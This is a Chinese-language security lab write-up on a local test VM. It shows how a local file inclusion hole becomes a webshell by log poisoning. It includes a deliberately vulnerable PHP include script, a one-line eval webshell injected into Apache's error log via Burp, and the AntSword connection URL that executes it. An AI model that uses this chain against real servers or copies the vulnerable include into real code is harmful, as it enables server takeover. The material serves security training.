1 实验介绍
- 实验要求:假设攻击者已经知道服务器存在且仅存在本地文件包含漏洞,没有文件上传漏洞点及其他漏洞,如何GetShell。
- 实验目的:利用本地文件包含漏洞GetShell。
2 实验环境
2.1 靶机
- 概况:win2008虚拟机系统,部署phpstudy平台,IP地址为192.168.1.4。
- 查看靶机PHP版本。需要查看所搭建的服务器的PHP版本,下一步修改其配置。
- 打开phpstudy安装文件夹,找到PHP-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。
- 在网站根目录下新建一个test文件夹,在文件夹内新建一个txt文件,输入以下内容,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include ($path);
?>
2.2 攻击机
真实机上安装BurpSuite和中国蚁剑,相关软件的安装参考《BurpSuite简介及安装》、《中国蚁剑V2.0下载安装到上手》。
3 实验步骤
- 思路:由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,利用日志文件记录报错的方法,来往日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。
- 将访问include.php页面的URL链接复制,在BurpSuite的repeater模块中右键将URL黏贴为请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。
- 修改请求为一句话代码
<?php @eval($_REQUEST[111]);?>
,点击发送,可以看到响应报错。
- 服务器在请求报错后,在错误日志中就会增加一条响应记录。在靶机上我们打开Apache的错误日志,路径为
C:\phpStudy\PHPTutorial\Apache\logs\error.log
,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行。
- 真实机中打开中国蚁剑,添加数据
http://192.168.1.4/test/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log
,密码为111,点击添加。
- 添加后双击新建的链接,可以看到成功管理服务器。
4 总结
- 思路:第一步利用一切可能让服务器本地某个文件中含有一句话木马;第二步文件包含之让代码执行。
- 思考:如果错误日志不是在默认位置,应该如何找到或者是否有其他途经?
- 思考:如果靶机存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用靶机远程文件包含该文件,并不能Get靶机Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。